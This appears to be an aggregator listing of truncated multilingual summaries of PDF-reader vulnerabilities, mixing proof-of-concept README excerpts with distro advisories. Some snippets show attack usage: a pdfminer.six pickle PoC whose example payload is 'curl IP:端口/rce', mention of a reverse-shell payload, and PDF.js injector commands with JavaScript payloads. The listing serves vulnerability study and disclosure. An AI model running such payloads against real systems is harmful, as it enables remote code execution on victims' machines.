CVE-2017-10952

CVE-2017-10952 これは、Foxit PDF Readerに対するローカルコード実行攻撃のハイレベルな例です。この攻撃の詳細はこちら 1にあります。この脆弱性の説明文（1にリンクされているもの）を、後々まで保存するためこちらにコピー＆ペーストしました。この説明文はvulners.comの著者Rootによって書かれたものです。 Foxitのインストール FoxitReaderv8.3.0.14878.exeをインストールします。インストールプロセスを順に進めます。これは、このバージョンのFoxit PDF...

CVE-2025-64512

CVE-2025-64512 – pdfminer.six 反序列化 PoC 概述 此概念验证演示了 pdfminer.six （CVE-2025-64512）中的一个漏洞，在处理恶意 PDF 时可能导致任意命令执行。该漏洞利用程序使用一个构造的 PDF，引用恶意的 gzip 压缩 Python pickle 文件。当存在漏洞的应用程序解析该 PDF 时，它会加载 pickle 并执行其中嵌入的有效载荷。 包含的 PoC 被配置为执行 Python 反向 Shell，但有效载荷可以替换为任意命令。 要求 Python 3 requests 安装所需依赖： pip install...

CVE-2019-13288

CVE-2019-13288 – XpdfのParser::getObjにおける無限再帰 概要 CVE-2019-13288 は、Xpdfバージョン4.01.01 で発見された脆弱性で、具体的にはParser.cc内のParser::getObj関数に存在します。この欠陥は、特別に細工されたPDFファイルを処理する際に無限再帰 を引き起こし、サービス拒否（DoS）状態をもたらす可能性があります。この脆弱性は CVE-2018-16646に類似しており、再帰関数における堅牢な入力検証の重要性を浮き彫りにしています。 技術詳細 CVE ID : CVE-2019-13288...

CVE-2025-64512

CVE-2025-64512 — 通过构造的PDF实现pdfminer.six不安全的反序列化（Pickle） ⚠️ 免责声明： 此工具仅供教育目的和授权的渗透测试使用。仅用于您拥有或获得明确书面许可的系统。未经授权使用是非法的。 目录 概述 漏洞详情 工作原理 要求 安装 使用方法 示例 缓解措施 致谢 参考 概述 pdfminer.six...

CVE-2015-3073

CVE-2015-3073 この脆弱性により、リモート攻撃者はAdobe Readerの脆弱なインストール環境においてAPI制限を回避することが可能です。この脆弱性を悪用するにはユーザーの操作が必要であり、標的となるユーザーが悪意のあるページにアクセスするか、悪意のあるファイルを開く必要があります。 具体的な欠陥はAFParseDateに存在します。特定のJavaScript命令を含む特別に細工されたPDFを作成することで、JavaScript APIの制限を回避することが可能です。リモート攻撃者はこの脆弱性を悪用して任意のコードを実行する可能性があります。...

CVE-2024-4367-hands-on

!IMPORTANT 本リポジトリは、脆弱性を学習するためのものです。 本ハンズオンは、必ず自分の管理する適切なコンピュータで行ってください。違法行為は絶対に行わないでください。 また本リポジトリによって発生した、一切の損害・責任を、作者は負いません。 CVE-2024-4367-hands-on CVE-2024-4367を体験するハンズオン poc.pdfの作成 python CVE-2024-4367-PoC/CVE-2024-4367.py "alert'document.domain'"...

CVE-2026-46529

PDF argvインジェクションによるRCE（CVE-2026-46529）（atril/xreader/evince） evspawn（shell/ev-application.c）におけるargvインジェクションの実動するProof-of-Conceptです。細工されたPDFのレンダリングページ上の任意の場所を一度クリックすると、ビューアを実行中のユーザーとして任意のコードが実行されます。...

pdfjs-vuln-demo

PDF.js 脆弱性デモプロジェクト このプロジェクトは、CVE-2024-4367 で報告された PDF.js pdfjs-dist ライブラリの脆弱性を悪用する実証 Proof of Concept として意図されています。 実行までの手順 このリポジトリをフォークしてクローンする npm install npm run dev テスト方法 まず http://localhost:4321/ にアクセスする テストしたいフロントエンドフレームワークのコンポーネント react, vue, svelte を、対応するカードをクリックして選択する...

CVE-2025-64512

CVE-2025-64512 在 pdfminer.six 中通过精心构造的 PDF 输入执行任意代码的 PoC 基于 https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp % python3 mkpickle.py 用法：mkpickle.py 输出文件 例如：mkpickle.py 'curl IP:端口/rce' evil.pickle.gz % python3 mkpdf.py -h 用法：mkpdf.py -h -o 输出 -p 路径 -f picklename 创建触发...

Astra Linux – Vulnerability in Chromium

The use of “after free” in PDFium in Google Chrome before version 148.0.7778.216 allowed a remote attacker to potentially exploit heap corruption through a crafted PDF file. Chromium security severity: High...

Astra Linux – Vulnerability in Poppler

A vulnerability was discovered in the freedesktop Poppler version 20.12.1. This vulnerability allows remote attackers to trigger a Denial-of-Service DoS attack through a crafted .pdf file, targeting the FoFiType1C::cvtGlyph function...

Astra Linux – Vulnerability in Firefox and Thunderbird

If a user opens a specially crafted PDF file, the PDF reader may be tricked into leaking cross-origin information, when such information is served as chunked data. This vulnerability affects Firefox versions earlier than 85, Thunderbird versions earlier than 78.7, and Firefox ESR versions earlier...

Astra Linux – Vulnerability in poppler-22

A vulnerability in Outline.cc for Poppler prior to version 23.06.0 allows a remote attacker to cause a Denial of Service DoS attack through a crafted PDF file using the OutlineItem::open method...

Astra Linux – Vulnerability in Chromium

The use of “after free” in PDFium in Google Chrome before version 149.0.7827.53 allowed a remote attacker to execute arbitrary code within a sandbox through a crafted PDF file. Chromium security severity: Low...

CVE-2025-20260-POC

CVE-2025-20260 漏洞利用 这是针对 CVE-2025-20260 的概念验证。该漏洞存在于 ClamAV 软件的 PDF 扫描进程中。通过发送特制的恶意 PDF 文件，可能触发缓冲区溢出，从而导致拒绝服务或任意代码执行。 该仓库包含用于生成恶意 PDF 文件的 Python 脚本，以及防病毒软件被强制终止后的核心转储分析。...

cve-2024-4367-poc

CVE-2024-4367 的 PDF.js POC PDF.js 的 CVE-2024-4367 漏洞的 POC——pdf-modify.py 脚本可用于修改你的 PDF 并注入载荷。 使用方法 1. 确保 CVE-2024-4367-POC-base-placeholder.pdf 位于工作目录中。 2. 取消注释/修改 pdf-modify.py 中的 payloadnew 变量。 3. 运行它：python pdf-modify.py，无需任何参数。 4. 你会在本地目录中看到一个新的 PDF，其文件名带有时间戳后缀。 相关参考...

CVE-2024-4367

CVE-2024-4367 POC 使い方 python poc.py mal.pdf "alert'0xr2r'" 参照 CVE-2024-4367: Arbitrary JS Execution in PDF.js PDF.js POC スキャナー templates...

CVE-2024-4367-POC

CVE-2024-4367 POC 使用方法 python poc.py malicious.pdf "alert'S4vvy'" 参考 CVE-2024-4367: PDF.js における任意の JS 実行 PDF.js...

Linux Distros Unpatched Vulnerability : CVE-2026-103000

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - pypdf is a free and open-source pure-python PDF library. Prior to 6.19.0, a crafted PDF can provide unusually large alphabetical page-label values that cause...

CVE-2026-91793

Foxit PDF Editor/Reader is susceptible to a use-after-free condition when opening a specially crafted PDF . The vulnerability is triggered when the software executes scripts that modify annotation rich-text attributes containing malformed font data . During the subsequent reconstruction of annota...